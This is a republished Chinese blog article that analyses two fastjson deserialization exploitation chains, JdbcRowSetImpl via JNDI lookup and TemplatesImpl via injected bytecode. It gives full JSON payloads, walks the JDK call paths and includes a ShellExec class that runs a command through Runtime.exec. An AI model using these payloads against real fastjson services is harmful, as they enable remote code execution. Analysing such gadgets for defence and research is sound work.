fastjson反序列化的两种利用方法的原理剖析

栏目: Java · 发布时间: 6年前

内容简介:利用JdbcRowSetImpl的payload如下:在触发反序列化时会调用继续跟进

利用JdbcRowSetImpl的payload如下:

{
    "@type":"com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName":"rmi://127.0.0.1:3456/Object",
    "autoCommit":true
}

在触发反序列化时会调用 JdbcRowSetImpl 类的 setAutoCommit 函数

public void setAutoCommit(boolean var1) throws SQLException {
        if (this.conn != null) {
            this.conn.setAutoCommit(var1);
        } else {
            this.conn = this.connect();
            this.conn.setAutoCommit(var1);
        }
}

继续跟进 connect 函数

protected Connection connect() throws SQLException {
        if (this.conn != null) {
            return this.conn;
        } else if (this.getDataSourceName() != null) {
            try {
                InitialContext var1 = new InitialContext();
                DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
            } catch (NamingException var3) {
                throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
            }
        } else {
            return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
        }
}

可以看到当conn为null时会发起JNDI查询从而加载我们的恶意类。

TemplatesImpl

payload如下:

{
    "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
    "_bytecodes":["base64编码后的继承于AbstractTranslet类的子类的class文件"],
    '_name':'a.b',
    '_tfactory':{ },
    "_outputProperties":{ },
    "_version":"1.0",
    "allowedProtocols":"all"
}

由于 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 类的 outputProperties 属性类型为 Properties 因此在反序列化过程中会调用该类的 getOutputProperties 方法。

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    }
    catch (TransformerConfigurationException e) {
        return null;
    }
}

继续跟进 newTransformer 方法

public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//this line

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
	}

newTransformer 方法中需要实例化一个TransformerImpl类的对象,跟进 getTransletInstance() 方法

private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

跟进 defineTransletClasses 方法中

private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            //...
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new Hashtable();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

可以看到该方法将会遍历我们传入的 _bytecodes 数组,执行 loader.defineClass 方法,而 TransletClassLoader 类的defineClass方法如下:

Class defineClass(final byte[] b) {
            return defineClass(null, b, 0, b.length);
        }

可见直接实现于 ClassLoader 类的 defineClass 方法。查询jdk1.8的文档

fastjson反序列化的两种利用方法的原理剖析

可以看到该方法会将我们传入的编码后的class文件加载入jvm。

而我们的恶意类继承于 ABSTRACT_TRANSLET ,即 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet ,因此便会设置 _transletIndex 为0。再回到我们的 getTransletInstance 方法中,

AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();

生成了一个我们的恶意类的对象实例,因此导致了我们的恶意类中的代码最后被执行。

这里我们使用的恶意类如下:

package JavaUnser;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class ShellExec extends AbstractTranslet{
    public ShellExec() throws IOException{
        Runtime.getRuntime().exec("/Applications/Calculator.app/Contents/MacOS/Calculator");
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }
    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
    }

    public static void main(String[] args) throws Exception {
        //ShellExec t = new ShellExec();
    }

}

以上所述就是小编给大家介绍的《fastjson反序列化的两种利用方法的原理剖析》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

暗网

暗网

杰米·巴特利特 / 刘丹丹 / 北京时代华文书局 / 2018-7 / 59.00

全面深入揭秘“黑暗版淘宝”暗网的幕后世界和操纵者 现实中所有的罪恶,在暗网中,都是明码标价的商品。 暗杀、色情、恋童癖、比特币犯罪、毒品交易…… TED演讲、谷歌特邀专家、英国智库网络专家杰米•巴特利特代表作! 1、 被大家戏称为“黑暗版淘宝”的暗网究竟是什么?微信猎奇 文不能告诉你的真相都在这里了! 2、 因章莹颖一案、Facebook信息泄露危机而被国人所知的暗网......一起来看看 《暗网》 这本书的介绍吧!

SHA 加密
SHA 加密

SHA 加密工具

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

RGB CMYK 转换工具
RGB CMYK 转换工具

RGB CMYK 互转工具